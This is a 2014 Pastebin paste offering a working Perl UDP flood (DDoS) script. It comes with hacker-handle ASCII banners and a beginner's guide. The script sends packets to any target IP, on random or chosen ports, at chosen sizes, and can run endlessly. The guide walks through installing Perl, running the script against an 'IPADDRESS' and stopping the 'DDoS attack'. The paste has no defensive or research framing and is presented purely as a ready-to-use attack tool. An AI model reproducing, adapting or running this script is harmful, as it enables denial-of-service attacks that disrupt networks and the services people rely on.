Advertisement
Network

DDoS Script [Perl] Flood

Dec 15th, 2014
1,044
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.20 KB | None | 0 0
  1. _ _ _____ _ _ ____
  2. | \ | |___ /| |___ _____ _ __| | __ / / /
  3. | \| | |_ \| __\ \ /\ / / _ \| '__| |/ / / / /
  4. | |\ |___) | |_ \ V V / (_) | | | < / / /
  5. |_|_\_|____/ \__|_\_/\_/ \___/|_| |_|\_\ /_/_/
  6. / __ \ _ __ |___ /| |___ _____ _ __| | __
  7. / / _` | '_ \ |_ \| __\ \ /\ / / _ \| '__| |/ /
  8. | | (_| | | | |___) | |_ \ V V / (_) | | | <
  9. \ \__,_|_| |_|____/ \__| \_/\_/ \___/|_| |_|\_\ -> Follow @Reckz0r
  10. \____/
  11.  
  12. ->
  13. _______ ________ __ __ __
  14. \ \ \_____ \/ |___ _ _____________| | __ _____ _/ |_ __ _______
  15. / | \ _(__ < __\ \/ \/ / _ \_ __ \ |/ / \__ \\ __\ | | \__ \
  16. / | \/ \ | \ ( <_> ) | \/ < / __ \| | | | // __ \_ Visit my website:
  17. \____|__ /______ /__| \/\_/ \____/|__| |__|_ \ /\ (____ /__| /\ |____/(____ / -> N3twork.at.ua
  18. \/ \/ \/ \/ \/ \/ \/
  19.  
  20. ->
  21.  
  22. Revived Perl DDoS Script // Recommended for Beginners
  23.  
  24. *Save file as n3twork.pl, Put it in perl/bin*
  25.  
  26. #!/usr/bin/perl START SCRIPT
  27.  
  28. use Socket;
  29. use strict;
  30.  
  31. if ($#ARGV != 3) {
  32. print "n3twork.pl <ip> <port> <size> <time>\n\n";
  33. print " port=0: use random ports\n";
  34. print " size=0: use random size between 64 and 1024\n";
  35. print " time=0: continuous flood\n";
  36. exit(1);
  37. }
  38.  
  39. my ($ip,$port,$size,$time) = @ARGV;
  40.  
  41. my ($iaddr,$endtime,$psize,$pport);
  42.  
  43. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  44. $endtime = time() + ($time ? $time : 1000000);
  45.  
  46. socket(flood, PF_INET, SOCK_DGRAM, 17);
  47.  
  48.  
  49. print "twitter.com/N3twork - Flooding $ip " . ($port ? $port : "random") . " port with " .
  50. ($size ? "$size-byte" : "random size") . " packets" .
  51. ($time ? " for $time seconds" : "") . "\n";
  52. print "Break with Ctrl-C\n" unless $time;
  53.  
  54. for (;time() <= $endtime;) {
  55. $psize = $size ? $size : int(rand(1024-64)+64) ;
  56. $pport = $port ? $port : int(rand(65500))+1;
  57.  
  58. send(flood, pack("a$psize","saf3e368wumu7repa4uxa2rucHaphubeGamu9R3373af8Us3eTHUgepRAfAS2c6CHAyegURepUbre94wRAwruS2uhU8UXasp7spasw7sw8h7wapr5spabekumu8ast8StRadusASacu6a6e5efrAzeWucH5cumuswaraca7hAbrewrecujetrafefadrawruW4ayAjU37sPUseBr4cRuPhacrUtrf0azrrQlLd1xdSjjtdwXfjyXArkExrVxVlulxssmr0u0lRscLAqjkZB43ajPRmAH4JQ6T1SOZPFmndbEi4IUOIuUmPCXI044f73uGIeJHs8lh36KpJausXqykL2idPx1j120Rra2DI1kmGgde5LI4TJMuQvrotBR3Fli0g1uwt74ALKfRzHYZJR0wkqNncUY178LcbTFtx5n7MF4zX3P4Z3mUVkAebkXqDv6EETKTNBes9kW2QBEBLeKcBH4cUAQ8Y30mdGozVRNJq3wtDMmgtzCibqXEEp3cZATTOMqIDxn3t5HYdspEofPneXpPTUE0TBN8oRAp4DjSlhfDAVmfNgbdSbTHWT7Y7gVi6kgrNXKCM64V4kOGvesVr0SZU3k83r6qAr3w4d26kurU9eBRa53cEtRaQaCHEvacu4PETRaf3yepHAk9FAgU2at8GEMEZAwUjaDesTufu2r3DaPhedR7quCru7reketc8atacAStuGeFruNuTHaWuspabr6drARa4r4cApRewuFRaD3qAXAsPeMAChudRUWxuq73R5dra8epre4tasp8craq677wru5asuq3tradede8rethuSwAfespastuduypUt2fudra5utanewrat83rucruyuje6aphuprUWawrawr4tha922HeSpU8acacu5hastuprecevasteberepagas6ejuje2heswugukerebrajeVeswerajAdagecah3phE9EsutaFrU6erathu2u6utraseCrEjehaChuphEchepeswutrezu86pret6afa"), 0, pack_sockaddr_in($pport, $iaddr));}
  59.  
  60. #!/usr/bin/perl END SCRIPT
  61.  
  62. GUIDE- USAGE AND INSTALLATION-
  63. 1. Install Active Perl: http://www.activestate.com/activeperl/downloads (Version 5.20.1.2000 for 32x, 84x or 64x)
  64. 2. When Perl has finished installing, log off and log back into your computer (or reboot).
  65. 3. Open cmd -> Start menu > type cmd > open it
  66. 4. Type cd \perl\bin to open the bin directory (make sure n3twork.pl is saved in this directory)
  67. 5. Type n3twork.pl and hit enter for instructions.
  68. 6. If instructions are not clear, here is an example: n3twork.pl IPADDRESS 65535 1000 0
  69. 7. 65535= port (doesn't have to be just 65535), 1000= byte packets of data, 0= time slot in seconds (0 is endless)
  70. 8. Voila! You've executed and successfully used a perl DDoS script. Press Ctrl & C to end the DDoS attack.
  71.  
  72.  
  73. _ _ ___ __ _ _ _
  74. _| || ||_ _|_ __ / _(_)_ __ (_) |_ _ _
  75. |_ .. _| || '_ \| |_| | '_ \| | __| | | |
  76. |_ _| || | | | _| | | | | | |_| |_| |
  77. |_||_||___|_| |_|_| |_|_| |_|_|\__|\__, |
  78. |___/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement